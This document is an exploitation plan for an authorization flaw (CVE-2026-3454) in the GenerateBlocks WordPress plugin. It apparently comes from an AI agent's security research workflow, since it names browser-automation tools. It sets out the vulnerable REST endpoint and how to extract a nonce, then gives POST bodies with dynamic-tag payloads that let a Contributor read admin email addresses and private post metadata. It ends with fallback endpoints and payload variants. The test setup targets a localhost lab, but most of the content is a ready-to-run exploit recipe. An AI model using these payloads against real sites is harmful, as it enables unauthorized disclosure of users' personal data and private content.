Exploitation Research Plan: GenerateBlocks Dynamic Tag IDOR (CVE-2026-3454)

1. Vulnerability Summary

The GenerateBlocks plugin (up to version 2.2.0) contains an Insecure Direct Object Reference (IDOR) vulnerability within its REST API endpoint used for dynamic tag replacement. The endpoint /wp-json/generateblocks/v1/dynamic-tag-replacements allows authenticated users with at least edit_posts capability (Contributor level and above) to submit content containing dynamic tags (e.g., {{post_meta ...}}).

The vulnerability exists because the plugin fails to perform object-level authorization checks. While it verifies the user has the general edit_posts capability, it does not verify if the user has permission to access the specific post IDs referenced within the tags. This allows a Contributor to extract information from posts they shouldn't be able to see (e.g., Private posts, Drafts of other users) or sensitive metadata and author emails.

2. Attack Vector Analysis

• Endpoint: /wp-json/generateblocks/v1/dynamic-tag-replacements
• Method: POST
• Authentication: Authenticated (Contributor+)
• Capability Required: edit_posts
• Vulnerable Parameter: The request body (likely a JSON object containing a content or tags string).
• Payload Format:
  • {{post_meta id:<target_id>|key:<meta_key>}}
  • {{post_title id:<target_id>|link:author_email}}

3. Code Flow

1. REST Registration: GenerateBlocks_Dynamic_Tags::register_rest_routes (in includes/dynamic-tags/class-dynamic-tags.php) registers the /dynamic-tag-replacements endpoint.
2. Permission Check: The permission_callback only checks current_user_can( 'edit_posts' ).
3. Tag Parsing: The callback likely invokes GenerateBlocks_Dynamic_Tags::replace_tags or a similar processing method.
4. Callback Execution: For a post_meta tag, it calls GenerateBlocks_Dynamic_Tag_Callbacks::get_post_meta.
5. ID Retrieval: GenerateBlocks_Dynamic_Tag_Callbacks::get_the_title (and others) calls GenerateBlocks_Dynamic_Tags::get_id( $options, 'post', $instance ).
6. Data Retrieval (The Sink):
   • get_post_meta calls GenerateBlocks_Meta_Handler::get_post_meta( $id, $key, true ).
   • with_link( $output, $options, $instance ) (in class-dynamic-tag-callbacks.php) contains:

     case 'author_email':
         $user_id = get_post_field( 'post_author', $id ); // $id is attacker controlled
         $url     = 'mailto:' . get_the_author_meta( 'user_email', $user_id );
         break;
     

7. Bypass: No check like current_user_can( 'read_post', $id ) is performed before fetching the meta or author data.

4. Nonce Acquisition Strategy

The REST API requires a standard WordPress REST nonce (wp_rest).

1. Role: Authenticate as a Contributor.
2. Method: Use browser_navigate to go to the WordPress Dashboard (/wp-admin/).
3. Extraction: Use browser_eval to extract the wpApiSettings nonce, which is standard in WordPress admin pages.
   • Script: window.wpApiSettings.nonce

5. Exploitation Strategy

The goal is to extract the Admin's email address and a private post's metadata.

Step 1: Discover Target Post ID

Use WP-CLI to find a post ID belonging to the Admin that the Contributor should not see (e.g., a Private post).

Step 2: Extract Author Email

Request:

• URL: http://localhost:8080/wp-json/generateblocks/v1/dynamic-tag-replacements
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: [extracted_nonce]
• Body:

{
    "content": "{{post_title id:[TARGET_POST_ID]|link:author_email}}"
}

Note: If the parameter name is not content, try tags or html.

Step 3: Extract Sensitive Metadata

Request:

• URL: Same as above
• Body:

{
    "content": "{{post_meta id:[TARGET_POST_ID]|key:_wp_page_template}}"
}

(Or any sensitive meta key found during setup).

6. Test Data Setup

1. Victim (Admin):
   • Create a Private post: wp post create --post_type=post --post_title="Sensitive Admin Post" --post_status=private --post_author=1
   • Let's assume this returns ID: 10.
   • Add a custom meta field: wp post meta add 10 sensitive_api_key "super-secret-123"
2. Attacker (Contributor):
   • Create a contributor user: wp user create attacker attacker@example.com --role=contributor --user_pass=password

7. Expected Results

• The response for the author_email payload should contain the Admin's email wrapped in a mailto link: <a href="mailto:admin@example.com">Sensitive Admin Post</a>.
• The response for the post_meta payload should contain the raw string: super-secret-123.
• Both successes occur despite the Contributor not having permissions to read post ID 10.

8. Verification Steps

1. Verify Response: Confirm the JSON response from the REST API contains the expected sensitive strings.
2. Check Access Control: Use wp user cap list attacker to verify the user only has edit_posts and cannot normally read the private post of another user via the standard WP REST API (/wp/v2/posts/10).

9. Alternative Approaches

• Author Meta: Try {{author_meta id:[POST_ID]|key:user_login}} or {{author_meta id:[POST_ID]|key:description}}.
• Term Meta: If GenerateBlocks Pro is active (implied by description), try {{term_meta id:[TERM_ID]|key:[KEY]}}.
• Endpoint Discovery: If /dynamic-tag-replacements returns 404, check the output of GET /wp-json/generateblocks/v1/ to find the exact registered route name (it may be plural or hyphenated differently). Based on class-meta-handler.php, other potential endpoints include /meta/get-post-meta?id=10&key=sensitive_api_key.